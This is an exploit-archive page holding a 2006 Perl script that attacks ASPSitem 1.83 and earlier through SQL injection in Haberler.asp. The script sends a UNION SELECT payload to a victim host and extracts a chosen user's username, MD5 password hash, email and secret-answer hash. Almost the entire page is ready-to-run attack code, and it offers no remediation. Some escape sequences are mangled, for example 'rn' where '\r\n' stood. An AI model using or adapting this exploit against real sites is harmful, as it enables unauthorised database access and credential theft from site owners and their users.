[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : ASPSitem <= 1.83 (Haberler.asp) Remote SQL Injection Exploit
# Published : 2006-04-19
# Author : nukedx
# Previous Title : FlexBB <= 0.5.5 (/inc/start.php _COOKIE) Remote SQL ByPass Exploit
# Next Title : MyEvent <= 1.3 (myevent_path) Remote File Inclusion Vulnerability
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=23
#Usage: aspsi.pl <host> <path> <userid>
use IO::Socket;
if(@ARGV != 3) { usage(); }
else { exploit(); }
sub header()
{
print "n- NukedX Security Advisory Nr.2006-23rn";
print "- ASPSitem <= 1.83 Remote SQL Injection Exploitrn";
}
sub usage()
{
header();
print "- Usage: $0 <host> <path>rn";
print "- <host> -> Victim's host ex: www.victim.comrn";
print "- <path> -> Path to ASPSitem ex: /aspsitem/rn";
print "- <userid> -> ID of user that you want info ex: 1rn";
exit();
}
sub exploit ()
{
#Our variables...
$asserver = $ARGV[0];
$asserver =~ s/(http://)//eg;
$ashost = "http://".$asserver;
$asdir = $ARGV[1];
$asport = "80";
$astar = "Haberler.asp?haber=devam&id=";
$asxp = "-1%20UNION%20SELECT%20cevap,id,0,kulladi,sifre,kayittarih,email%20FROM%20uyeler%20where%20id%20like%20".$ARGV[2];
$asreq = $ashost.$asdir.$astar.$asxp;
#Sending data...
header();
print "- Trying to connect: $asserverrn";
$as = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$asserver", PeerPort => "$asport") || die "- Connection failed...n";
print $as "GET $asreq HTTP/1.1n";
print $as "Accept: */*n";
print $as "Referer: $ashostn";
print $as "Accept-Language: trn";
print $as "User-Agent: NukeZillan";
print $as "Cache-Control: no-cachen";
print $as "Host: $asservern";
print $as "Connection: closenn";
print "- Connected...rn";
while ($answer = <$as>) {
if ($answer =~ /class="tablo_baslik"><b>? (.*?)</b></td>/) {
if ($1 == $ARGV[2]) {
print "- Exploit succeed! Getting USERID: $ARGV[2]'s credentialsrn";
}
else { die "- Exploit failedn"; }
}
if ($answer =~ /" align="left">(.*?)</) {
print "- Username: $1rn";
}
if ($answer =~ /Ekleyen (<b>(.*?)</b>)/) {
print "- MD5 HASH of PASSWORD: $1rn";
}
if ($answer =~ /| (.*?) ]<br>/) {
print "- Regdate: $1rn";
}
if ($answer =~ /haber=yorum&id=(.*?)">Yorumlar/) {
print "- Email: $1rn";
}
if ($answer =~ / Okunma : (.*?) /) {
print "- MD5 hash of answer: $1rn";
exit();
}
}
#Exploit failed...
print "- Exploit failedn"
}
#nukedx.com [2006-04-19]
# www.Syue.com [2006-04-19]